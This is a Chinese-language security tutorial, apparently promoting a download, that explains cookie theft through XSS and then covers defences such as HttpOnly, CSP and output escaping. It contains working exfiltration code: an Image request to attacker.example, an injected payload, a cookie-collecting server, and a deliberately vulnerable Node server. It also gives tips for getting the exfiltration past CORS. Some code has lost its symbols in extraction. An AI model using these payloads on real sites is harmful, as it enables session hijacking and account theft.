简介这是一份面向前端安全初学者与Web安全爱好者的JavaScript学习工具围绕Cookie窃取原理展开适合用于理解浏览器端Cookie的读取与传输机制帮助读者在授权测试环境中认识常见的前端安全风险。压缩包共7个文件约33KB包含3个js脚本、1个json配置、1个html页面、1个md说明文档和1个py服务端脚本分别承担前端逻辑、扩展配置、演示页面、使用说明与本地接收服务等角色结构紧凑、便于快速浏览。目前已有186人学习下载。通过阅读其中的脚本与说明读者可以了解Cookie的获取方式、浏览器扩展的基本组织形态以及前后端配合的数据回传思路并借助md文档梳理整体流程适合作为安全入门阶段理解Cookie安全问题的参考素材。1. 从一次内部演练翻车说起为什么我要拆解这个 JavaScript 窃取工具去年给某实验室做前端安全内部演练我随手写了个演示页面模拟第三方脚本被注入后读取document.cookie并外发。结果不到十分钟参与演练的同学就发现自己的测试账号会话被顶掉——问题不在于脚本多高明而在于目标站点压根没给 Cookie 加HttpOnly前端一行document.cookie就能把会话凭证整条捞走。那次翻车让我意识到很多开发者对「Cookie 到底怎么被偷」只有模糊概念真到排查时连攻击面在哪都说不清。这篇不聊虚的就围绕一个极简的 JavaScript 工具——cookie-stealer把「它怎么工作、为什么能工作、防御方该盯哪里」讲透。适合三类人想搞懂前端会话窃取原理的新手、需要复现攻击链做验证的安全同学、以及被这类问题坑过想补防御盲区的开发者。全程只讲技术逻辑所有场景均为虚构演练环境。2. cookie-stealer 的核心机制三行代码背后的攻击链2.1 读取document.cookie 到底能拿到什么先看这个工具最核心的一行// 读取当前域下所有非 HttpOnly 的 Cookie const stolen document.cookie; console.log(stolen); // 形如 sessionidabc123; themedark; langzhdocument.cookie返回的是一个分号加空格分隔的字符串包含当前域下所有未设置 HttpOnly 标志的 Cookie。这里有两个关键判断依据第一HttpOnly是服务端在Set-Cookie响应头里加的标志一旦加上JavaScript 就完全读不到这条 Cookie。这是防御会话窃取最直接的一道墙。第二document.cookie受同源策略约束只能读当前域含子域按 domain 属性匹配的 Cookie跨域读不到。所以这个工具能生效的前提是攻击者已经通过 XSS 或其他方式把脚本注入到了目标页面里。我一般会这么跟新人解释document.cookie不是漏洞它是个正常 API漏洞在于「该加 HttpOnly 的会话 Cookie 没加」以及「页面存在脚本注入点」。2.2 外发把偷到的数据送出去拿到 Cookie 字符串后工具需要把它传回攻击者控制的服务器。常见写法// 将窃取的 Cookie 通过图片请求外发规避部分 CORS 限制 function exfiltrate(data) { const img new Image(); // 用 Image 对象发起 GET 请求不受 CORS 预检限制 img.src https://attacker.example/collect?c encodeURIComponent(data); document.body.appendChild(img); } exfiltrate(document.cookie);用Image对象外发是经典手法原因是图片请求属于简单请求不会触发 CORS 预检也不要求目标服务器返回 CORS 头请求发出去就完事。参数说明encodeURIComponent对 Cookie 字符串做 URL 编码避免分号、空格等字符破坏 URL 结构attacker.example是攻击者接收端点实际演练中替换为受控的测试服务器。除了 Image还有fetch、XMLHttpRequest、navigator.sendBeacon等方式。sendBeacon适合页面卸载时发送但同样受 CORS 约束需要接收端配合。工具选哪种外发方式取决于攻击者能否控制接收端的响应头。2.3 触发时机什么时候偷最有效Cookie 窃取不是越早越好而是要看目标 Cookie 什么时候有价值。常见触发点有三类触发时机适用场景风险点页面加载即执行会话 Cookie 长期有效可能偷到未登录状态的空值登录成功后执行会话刚建立凭证最新需监听登录状态变化定时轮询会话会刷新请求频繁易被检测我一般会这么比如果目标是会话劫持登录后立即读取最有效因为此时sessionid刚签发如果是长期潜伏定时轮询更稳但会留下周期性请求特征容易被 WAF 或 RUM 抓到。3. 复现环境搭建从零验证攻击链是否成立3.1 搭建一个「有漏洞」的测试站点要验证这个工具得先有一个存在脚本注入点、且会话 Cookie 未加 HttpOnly 的测试环境。用最简的 Node.js 起一个// server.js - 故意存在漏洞的测试服务 const http require(http); const url require(url); http.createServer((req, res) { const parsed url.parse(req.url, true); // 漏洞点将 URL 参数直接拼进 HTML未做转义 const name parsed.query.name || guest; res.writeHead(200, { Content-Type: text/html; charsetutf-8, // 关键会话 Cookie 未设置 HttpOnly前端可读 Set-Cookie: sessionidtest-session-12345; Path/ }); res.end(htmlbodyh1Hello, ${name}/h1/body/html); }).listen(3000);这段代码有两个故意留的坑一是name参数直接拼进 HTML构成反射型 XSS二是Set-Cookie没加HttpOnly。启动后访问http://localhost:3000/?namescript.../script就能注入脚本。参数说明Path/让 Cookie 对整个站点可见实际生产环境还会加Secure、SameSite等属性。3.2 注入并观察 Cookie 外发把 cookie-stealer 的核心逻辑作为注入载荷// 注入载荷读取并外发 Cookie 到本地接收端 (function() { const c document.cookie; if (c) { // 本地测试接收端实际演练替换为受控服务器 new Image().src http://localhost:4000/collect?c encodeURIComponent(c); } })();再起一个接收端记录请求// collector.js - 接收并打印窃取到的 Cookie const http require(http); http.createServer((req, res) { const parsed url.parse(req.url, true); if (parsed.pathname /collect) { console.log([STOLEN], decodeURIComponent(parsed.query.c || )); } res.end(ok); }).listen(4000);访问带注入载荷的 URL 后接收端会打印出sessionidtest-session-12345。这一步验证了完整攻击链注入点 → 脚本执行 → 读取 Cookie → 外发 → 接收。失败时看什么如果接收端没打印先检查浏览器控制台是否有 CSP 报错再确认 Cookie 是否被 HttpOnly 挡住。3.3 用 HttpOnly 和 CSP 验证防御是否生效把服务端的Set-Cookie改成sessionidtest-session-12345; Path/; HttpOnly重新访问注入 URL接收端不再打印任何内容——因为document.cookie读不到 HttpOnly Cookie。再加一层 CSPContent-Security-Policy: script-src self; img-src self此时注入的script标签直接被 CSP 拦截连执行机会都没有。这两步验证说明HttpOnly 防的是「读」CSP 防的是「注入执行」两者互补缺一不可。4. 避坑与排查复现时最容易翻车的五个点4.1 现象接收端收不到请求控制台报 CORS 错误原因用fetch或XMLHttpRequest外发时跨域请求触发 CORS 预检接收端没返回Access-Control-Allow-Origin头。解决改用Image对象或sendBeacon这两者属于简单请求不触发预检或者在接收端补上 CORS 响应头仅限受控测试环境。4.2 现象Cookie 读出来是空字符串原因目标 Cookie 设置了HttpOnly或者当前页面域与 Cookie 的 domain 不匹配。解决检查响应头Set-Cookie是否含HttpOnly确认注入脚本运行的页面域是否在 Cookie 的 domain 覆盖范围内。这是防御生效的正常表现不是工具坏了。4.3 现象脚本注入了但没执行原因CSP 的script-src限制了内联脚本或者注入点被 HTML 转义。解决查看浏览器控制台的 CSP 违规报告确认注入点是否对、、做了转义。如果 CSP 是script-src self内联脚本和外部域脚本都跑不了。4.4 现象本地测试正常换到演练环境就失效原因演练环境可能启用了SameSiteStrict或SameSiteLax跨站请求不携带 Cookie但注意——document.cookie读的是当前页面域的 CookieSameSite 影响的是「跨站请求是否带 Cookie」不影响同页面 JS 读取。真正影响的是Secure属性如果 Cookie 带Secure只有 HTTPS 页面能读到。解决确认测试环境协议是 HTTP 还是 HTTPS对应调整。4.5 现象外发请求被浏览器拦截或延迟原因部分浏览器对混合内容HTTPS 页面发 HTTP 请求会直接拦截。解决接收端也上 HTTPS或者本地测试统一用 HTTP。另外Image外发在页面卸载时可能被中断需要可靠送达时改用sendBeacon。5. 防御视角从攻击链反推该盯哪几个点5.1 会话 Cookie 必须加 HttpOnly这是成本最低、收益最高的一条。服务端签发会话 Cookie 时统一加HttpOnly前端 JS 就彻底读不到。我一般会这么检查抓包看Set-Cookie响应头凡是承载会话状态的 Cookie没HttpOnly的一律标红。配合Secure仅 HTTPS 传输和SameSiteLax/Strict限制跨站携带三层属性叠满会话窃取的门槛会高很多。5.2 CSP 要真正收紧 script-src很多站点 CSP 写了等于没写script-src里挂着unsafe-inline或一堆外部域。有效的做法是script-src self起步配合 nonce 或 hash 放行必要脚本禁用unsafe-inline和unsafe-eval。这样即使存在注入点脚本也执行不了cookie-stealer 这类工具直接失去执行前提。5.3 输入输出转义不能只做一半反射型 XSS 的根因是「用户输入未转义就拼进 HTML」。防御要覆盖所有输出上下文HTML 内容、属性值、URL、JavaScript 字符串各有各的转义规则。只做 HTML 实体转义、不管属性上下文照样能被闭合逃逸。我一般会建议用成熟的模板引擎默认开启自动转义别手拼字符串。5.4 监控异常外发请求从检测角度cookie-stealer 的外发请求有特征目标域不在白名单、URL 里带长编码字符串、由Image或sendBeacon发起。可以在 RUM 或 WAF 层加规则监控页面发起的非白名单域请求尤其是带?c、?cookie这类参数的。这不是根治但能缩短发现时间。6. 一个具体技巧收尾用 DevTools 三分钟自查会话 Cookie 安全性与其等出事再排查不如每次上线前花三分钟自查。打开目标页面F12 进 DevTools按这个顺序走一遍第一步Application 面板 → Cookies逐条看会话相关 Cookie 的HttpOnly、Secure、SameSite三列。会话 Cookie 的HttpOnly必须是勾选状态Secure在 HTTPS 站点必须勾选SameSite建议Lax起步。第二步Console 面板输入document.cookie回车。如果返回的字符串里出现了会话 ID说明这条 Cookie 没加 HttpOnly前端可读存在被窃取风险。这一步最直观也最容易被忽略。第三步Network 面板刷新页面看响应头Set-Cookie确认服务端签发时确实带了这些属性而不是靠前端补。// 快速自查列出当前域所有 Cookie 名判断会话 Cookie 是否暴露 document.cookie.split(; ).forEach(item { const [name] item.split(); // 会话类 Cookie 常见命名特征 if (/session|token|auth|sid/i.test(name)) { console.warn([风险] 会话 Cookie 前端可读:, name); } });这段脚本把当前域所有 Cookie 按名字过滤凡是命中session、token、auth、sid等关键词的直接告警。它不能替代服务端配置检查但能让你在浏览器里三秒定位到暴露面。参数说明正则里的关键词可按实际命名习惯增删console.warn方便在控制台快速筛选。回过头看那次演练翻车给我最大的教训不是「工具多危险」而是「防御属性少配一个攻击链就通了」。从那以后我每次上线前都强制走一遍上面这三步尤其是document.cookie那一下几秒钟的事能挡掉一大类会话窃取。希望帮到你。本文还有配套的精品资源点击获取